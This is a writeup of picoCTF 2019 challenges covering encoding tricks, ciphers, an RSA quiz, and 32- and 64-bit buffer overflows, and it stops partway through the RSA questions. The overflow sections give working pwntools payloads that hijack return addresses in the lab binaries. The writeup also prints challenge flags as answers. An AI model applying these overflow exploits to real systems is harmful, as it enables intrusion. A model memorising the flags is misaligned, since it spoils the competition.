Pico CTF 2019

Challenge Category Points
2Warm General Skills 50
Lets Warm Up General Skills 50
Warmed Up General Skills 50
Bases General Skills 100
First Grep General Skills 100
Resources General Skills 100
strings it General Skills 100
What’s a net cat? General Skills 100
Based General Skills 200
OverFlow 0 Binary Exploitation 50
OverFlow 1 Binary Exploitation 150
OverFlow 2 Binary Exploitation 250
NewOverFlow-1 Binary Exploitation 200
NewOverFlow-2 Binary Exploitation 250
The Numbers Cryptography 50
13 Cryptography 100
Easy1 Cryptography 100
Caesar Cryptography 100
Flags Cryptography 200
Mr-Worldwide Cryptography 200
Tapping Cryptography 200
La Cifra De Cryptography 200
RSA Pop Quiz Cryptography 200
MiniRSA Cryptography 300
waves over lambda Cryptography 300
b00tl3gRSA2 Cryptography 400
b00tl3gRSA3 Cryptography 450
john_pollard Cryptography 500
unzip Forensics 50
So Meta Forensics 150
What Lies Within Forensics 150
extensions Forensics 150
WhitePages Forensics 250
m00nwalk Forensics 200
pastaAAA Forensics 300
Insp3ct0r Web 50
dont-use-client-side Web 100
where are the robots Web 100
Client-side-again Web 200
picobrowser Web 200
Java Script Kiddie Web 400
Java Script Kiddie 2 Web 550

General Skills

2Warm

Points: 50

Can you convert the number 42 (base 10) to binary (base 2)?

>>> "{0:b}".format(42)
"101010"

Lets Warm Up

Points: 50

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

chr(0x70)

'p'

picoCTF{p}


Warmed Up

Points: 50

What is 0x3D (base 16) in decimal (base 10).

>>> 0x3D
61

picoCTF{61}


Bases

Points: 100

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

Decode from base64 to find

echo bDNhcm5fdGgzX3IwcDM1 | base64 --decode
l3arn_th3_r0p35

picoCTF{l3arn_th3_r0p35}


First Grep

Points: 100

Teaching you to use grep to find the flag. Lets find all instances of “pico” in the file

grep -e "pico" file.dms 
picoCTF{grep_is_good_to_find_things_5f0c3d9e}

picoCTF{grep_is_good_to_find_things_5f0c3d9e}


Resources

Points: 100

Go to https://picoctf.com/resources

and grab the flag

picoCTF{r3source_pag3_f1ag} (2019 competition)


strings it

Points: 100

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_3_d2b2eb25dc5e3f3625810131832de295 on the shell server.

strings strings.dms 
picoCTF{5tRIng5_1T_30be4706}

picoCTF{5tRIng5_1T_30be4706}


what’s a net cat?

Points: 100

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 12265 to get the flag?

Jack: ~$ nc 2019shell1.picoctf.com 12265
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_589c8b71}

Based

Points: 200

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 20836.

Let us see how data is stored
Please give the 01101100 01100001 01101101 01110000 as a word.
...
you have 45 seconds.....

Input:
lamp
Please give me the  163 164 162 145 145 164 as a word.
Input:
street
Please give me the 6f76656e as a word.
Input:
oven
You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_2360e4dd}

picoCTF{learning_about_converting_values_2360e4dd}


Binary Exploitation

OverFlow 0

Points: 50

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[128];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("You entered: %s", argv[1]);
  }
  else
    printf("Please enter an argument next time\n");
  return 0;
}

Run

./vuln `python -c "print 'A'*1000"`

picoCTF{3asY_P3a5y8645475a}


OverFlow 1

Points: 150

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

Sending a bunch of data to

jack4818@pico-2019-shell1:/problems/overflow-1_1_3039944758e6085624f51d62226d3c13$ python -c "print 'A'*(100)" | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x41414141 !

So we see that we are able to overwrite the return address by sending a very long string. To find the correct offset we use

jack4818@pico-2019-shell1:/problems/overflow-1_1_3039944758e6085624f51d62226d3c13$ cyclic 200 | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x61616174 !
Segmentation fault (core dumped)

jack4818@pico-2019-shell1:/problems/overflow-1_1_3039944758e6085624f51d62226d3c13$ cyclic -l 0x61616174
76

Now we know the offset, we need the address of the function flag()

jack4818@pico-2019-shell1:/problems/overflow-1_1_3039944758e6085624f51d62226d3c13$ gdb ./vuln

(gdb) info address flag
Symbol "flag" is at 0x80485e6 in a file compiled without debugging.

With the buffer size and the address, we can now call the function

jack4818@pico-2019-shell1:/problems/overflow-1_1_3039944758e6085624f51d62226d3c13$ python -c "from pwn import *; print 'A'*(76)+p32(0x80485e6)" | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn56b6d6d97}


OverFlow 2

Points: 250

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_fc3395ae58774b9c251598a8e4bea2e0 on the shell server. Source.

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 176
#define FLAGSIZE 64

void flag(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xC0DED00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

The aim is to overflow and send flag(0xDEADBEEF,0xC0DED00D)

Like the last challenge, using gdb we can find the address of flag()

$ gdb ./vuln
(gdb) info address flag
Symbol "flag" is at 0x80485e6 in a file compiled without debugging.

To find the offset, we can run vuln in gdb to get the seg fault when we send in 1000 characters of cyclic

Jack: ~$ cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

Program received signal SIGSEGV, Segmentation fault. 0x62616177 in ?? ()

The offset is then found

$ cyclic -l 0x62616177
188

Exploit

With the offset, we send the address of flag function: 0x80485e6, followed by 4 bytes to pad the second return address and then include our two arguments: 0xDEADBEEF, 0xC0DED00D

Put togther, we have

$ python -c "from pwn import *; print 'A'*(188)+p32(0x80485e6)+'A'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)" | ./vuln

picoCTF{arg5_and_r3turn5dc972417}


NewOverFlow-1

Points: 200

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

Another overflow challenge. This time we’re working with a 64bit machine. To return the function flag() we will need two things:

Offset

To calculate the offset, lets grab 1000 characters from cyclic

Jack: ~$ cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

We start up gdb. Lets disassemble vuln and set a breakpoint at the input of our string

disassemble vuln

Dump of assembler code for function vuln:
   0x00000000004007cc <+0>:	push   %rbp
   0x00000000004007cd <+1>:	mov    %rsp,%rbp
   0x00000000004007d0 <+4>:	sub    $0x40,%rsp
   0x00000000004007d4 <+8>:	lea    -0x40(%rbp),%rax
   0x00000000004007d8 <+12>:	mov    %rax,%rdi
   0x00000000004007db <+15>:	mov    $0x0,%eax
   0x00000000004007e0 <+20>:	callq  0x400630 <gets@plt>
   0x00000000004007e5 <+25>:	nop
   0x00000000004007e6 <+26>:	leaveq 
   0x00000000004007e7 <+27>:	retq   
End of assembler dump.
break * vuln+20

Breakpoint 1 at 0x4007e0

We identify the addresses of rsp and rbp.

(gdb) x $rsp
0x7ffd5ab97a30:	0x0000003c
(gdb) x $rbp
0x7ffd5ab97a70:	0x5ab97aa0

0x7ffd5ab97a70 will help us find the int from cyclic to identify. Lets dump 120 hexadecimal addresses from the address of rsp

(gdb) x/120x $rsp
0x7ffd5ab97a30:	0x61616161	0x61616162	0x61616163	0x61616164
0x7ffd5ab97a40:	0x61616165	0x61616166	0x61616167	0x61616168
0x7ffd5ab97a50:	0x61616169	0x6161616a	0x6161616b	0x6161616c
0x7ffd5ab97a60:	0x6161616d	0x6161616e	0x6161616f	0x61616170
0x7ffd5ab97a70:	0x61616171	0x61616172	0x61616173	0x61616174
0x7ffd5ab97a80:	0x61616175	0x61616176	0x61616177	0x61616178
0x7ffd5ab97a90:	0x61616179	0x6261617a	0x62616162	0x62616163
0x7ffd5ab97aa0:	0x62616164	0x62616165	0x62616166	0x62616167
0x7ffd5ab97ab0:	0x62616168	0x62616169	0x6261616a	0x6261616b
0x7ffd5ab97ac0:	0x6261616c	0x6261616d	0x6261616e	0x6261616f
0x7ffd5ab97ad0:	0x62616170	0x62616171	0x62616172	0x62616173
0x7ffd5ab97ae0:	0x62616174	0x62616175	0x62616176	0x62616177
0x7ffd5ab97af0:	0x62616178	0x62616179	0x6361617a	0x63616162
0x7ffd5ab97b00:	0x63616163	0x63616164	0x63616165	0x63616166
0x7ffd5ab97b10:	0x63616167	0x63616168	0x63616169	0x6361616a
0x7ffd5ab97b20:	0x6361616b	0x6361616c	0x6361616d	0x6361616e
0x7ffd5ab97b30:	0x6361616f	0x63616170	0x63616171	0x63616172
0x7ffd5ab97b40:	0x63616173	0x63616174	0x63616175	0x63616176
0x7ffd5ab97b50:	0x63616177	0x63616178	0x63616179	0x6461617a
0x7ffd5ab97b60:	0x64616162	0x64616163	0x64616164	0x64616165
0x7ffd5ab97b70:	0x64616166	0x64616167	0x64616168	0x64616169
0x7ffd5ab97b80:	0x6461616a	0x6461616b	0x6461616c	0x6461616d
0x7ffd5ab97b90:	0x6461616e	0x6461616f	0x64616170	0x64616171
0x7ffd5ab97ba0:	0x64616172	0x64616173	0x64616174	0x64616175
0x7ffd5ab97bb0:	0x64616176	0x64616177	0x64616178	0x64616179
0x7ffd5ab97bc0:	0x6561617a	0x65616162	0x65616163	0x65616164
0x7ffd5ab97bd0:	0x65616165	0x65616166	0x65616167	0x65616168
0x7ffd5ab97be0:	0x65616169	0x6561616a	0x6561616b	0x6561616c
0x7ffd5ab97bf0:	0x6561616d	0x6561616e	0x6561616f	0x65616170
0x7ffd5ab97c00:	0x65616171	0x65616172	0x65616173	0x65616174

Now we can calculate the offset

Jack: ~$ cyclic -l 0x61616173
72

Function address

(gdb) info address flag
Symbol "flag" is at 0x400767 in a file compiled without debugging.

There is some alignment issue, and the correct address is 0x400767. Apparently this is to do with Ubuntu 18.04. I don’t know.

Exploit

As we know the offset and the function address, we can use overflow to point to the function flag and print out the flag

python -c "from pwn import *; print 'A'*(72)+p64(0x400768)" | ./vuln

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_351346a2}


NewOverFlow-2

Points: 250

So while reading the source of this challenge

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

bool win1 = false;
bool win2 = false;

void win_fn1(unsigned int arg_check) {
  if (arg_check == 0xDEADBEEF) {
    win1 = true;
  }
}

void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) {
  if (win1 && \
      arg_check1 == 0xBAADCAFE && \
      arg_check2 == 0xCAFEBABE && \
      arg_check3 == 0xABADBABE) {
    win2 = true;
  }
}

void win_fn() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  if (win1 && win2) {
    printf("%s", flag);
    return;
  }
  else {
    printf("Nope, not quite...\n");
  }
}

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Can you match these numbers?");
  vuln();
  return 0;
}

I noticed an error in the challenge. The flag is loaded into win_fn() which is the intended solution, but it’s also loaded into the function flag()

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

Unlike win_fn() this has no logical arguments and we can simply call it, exactly like the previous challenge…

The offset was found to be 72, and gdb points to the flag function

(gdb) info address flag
Symbol "flag" is at 0x40084d in a file compiled without debugging.

So we can simply collect the flag, after fixing the flag pointer, and win the challenge.

python -c "from pwn import *; print 'A'*(72)+p64(0x40084e)" | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}
Segmentation fault (core dumped)

picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}


Cryptography

The Numbers

Points: 50

The numbers… what do they mean?

File contains

16 9 3 15 3 20 6 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14

Converting the numbers to letters using: a-z = 1-26:

P I C O C T F T H E N U M B E R S M A S O N

PICOCTF{THENUMBERSMASON}


13

Points: 100

ROT13 on the file:

cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
picoCTF{not_too_bad_of_a_problem}

Easy1

Points: 100

We are given the cipher UFJKXQZQUNB and the key SOLVECRYPTO. The table given is the Vigenere table, using it we obtain the flag

picoCTF{CRYPTOISFUN}


Caesar

Points: 100

Trial and error through to find that rot7 is the correct decryption.

picoCTF{vkhllbgzmaxknubvhglzeipcie}
picoCTF{crossingtherubiconsglpwjpl}

Flags

Points: 200

The flag is encoded using Nautical Flags

PICOCTF{F1AG5AND5TUFF}


Mr-Worldwide

Points: 200

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

Each pair of numbers are coordinates. The coordinates give the following cities

KAMIGYO
ODESA
DAYTON
ISTANBUL
ABU DHABI
KUALA LUMPUA
_
ADDIS ABABA
Loja
Amsterdam
SLEEPY HOLLOW
Kodiak
Alexandria

Taking the first letter of each of the cities gives the flag

picoCTF{KODIAK_ALASKA}


Tapping

Points: 200

Theres tapping coming in from the wires. What’s it saying nc 2019shell1.picoctf.com 45617.

Connecting to the port we recieve

.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ...-- ..... ..--- ....- ----. ....- -.... ....- --... .---- } 

Decoding as morse gives the flag

PICOCTF{M0RS3C0D31SFUN3524946471}


La Cifra De

Points 200

nc 2019shell2.picoctf.com 60147

Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo 

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3x8j3m3a15}

Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto.

Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr.

Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc.

Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz.

Which we can decode using Vigenere, with the key “flag”

It is interesting how in history people often receive credit for things they did not create

During the course of history, the Vigenère Cipher has been reinvented many times

It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso 

For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3r8e3b3a15}

The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.

The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.

In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.

Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.

picoCTF{b311a50_0r_v1gn3r3_c1ph3r8e3b3a15}


RSA Pop Quiz

Points: 200

Class, take your seats! It’s PRIME-time for a quiz… nc 2019shell1.picoctf.com 49989

Introduction

Good morning class! It’s me Ms. Adleman-Shamir-Rivest Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do! You will need to tell me if each example is possible, given your extensive crypto knowledge. Inputs and outputs are in decimal. No hex here!

Question 1

NEW PROBLEM q : 60413 p : 76753 PRODUCE THE FOLLOWING n IS THIS POSSIBLE and FEASIBLE? (Y/N)

Here we are asked to calculate the modulus n, given p,q. As n = pq this is feasible and we find that

n = pq = 60413 \times 76753 = 4636878989

Using python

p = 60413
q = 76753
n = p*q
print(n)

4636878989

Question 2

NEW PROBLEM p : 54269 n : 5051846941 PRODUCE THE FOLLOWING q IS THIS POSSIBLE and FEASIBLE? (Y/N):

Here we are asked to find the prime q, given the modulus n and prime p. This is feasible as we can recover q from division.

q = \frac{n}{p} = \frac{5051846941}{54269} = 93089

Using python

p = 54269
n = 5051846941
q = n//p
print(q)

93089

Question 3

NEW PROBLEM e : 3 n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 PRODUCE THE FOLLOWING q p IS THIS POSSIBLE and FEASIBLE? (Y/N):

Here we are given the public key (n,e). Although e is small, and potentially the RSA encryption may be weak to an attack, we cannot factor n in a reasonable time and so this is not feasible.

Question 4

NEW PROBLEM q : 66347 p : 12611 #PRODUCE THE FOLLOWING totient(n) IS THIS POSSIBLE and FEASIBLE? (Y/N):

Here we are asked to calculate the totient of n given two primes p,q. This is feasible. We use the standard realtion:

\phi(n) = (p-1)(q-1) = 836623060

Using python

p = 12611
q = 66347
phi = (p-1)*(q-1)
print(phi)

836623060

Question 5

NEW PROBLEM plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 e : 3 n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 #PRODUCE THE FOLLOWING ciphertext IS THIS POSSIBLE and FEASIBLE? (Y/N):

We are now being asked to encrypt the message m to produce the ciphertext c. As we are given both the modulus m and the exponent e, we can perform the encryption in the standard way and so this is feasible.

c = m^e \mod n

Using python

m = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
e = 3

c = pow(m,e,n) 
print(c)

256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813

Question 6

NEW PROBLEM ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 e : 3 n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 PRODUCE THE FOLLOWING plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N)

Here we are asked to decrypt a message but we are only given the public key (n,e). Therefore it is not feasible to find the plaintext m.

Question 7

NEW PROBLEM q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e : 65537 PRODUCE THE FOLLOWING d IS THIS POSSIBLE and FEASIBLE? (Y/N)

We are now asked to find the modular multiplicative inverse d given the two primes p,q and e. This is feasible as using p,q we can caluclate \phi(n) and using (\phi(n),e) we can find d.

Using python

from Crypto.Util.number import inverse

p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
phi = (p-1)*(q-1)
d = inverse(e,phi)
print(d)

1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729

Question 8

NEW PROBLEM p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext : 9200910993991342245635775242884295171331638486293398612829324409189786924964269448402231033692571666846582772547678361933884560304465448930040982507936200701552729919507681097344114739434382503801935689147981369024180959865358948150771814009412646368907358482273874756410640420832989566791308787895283057047604985049071797817308263226498433025719101414595141020534960745847160087741791305232083441121028428567136619357775442961508547402267425797890689191622526865196136020253867164299721963231711821169972573934532328410089925473599566951143246364545922038720537045119212022769806144414268754234300461988702406805390 e : 65537 n : 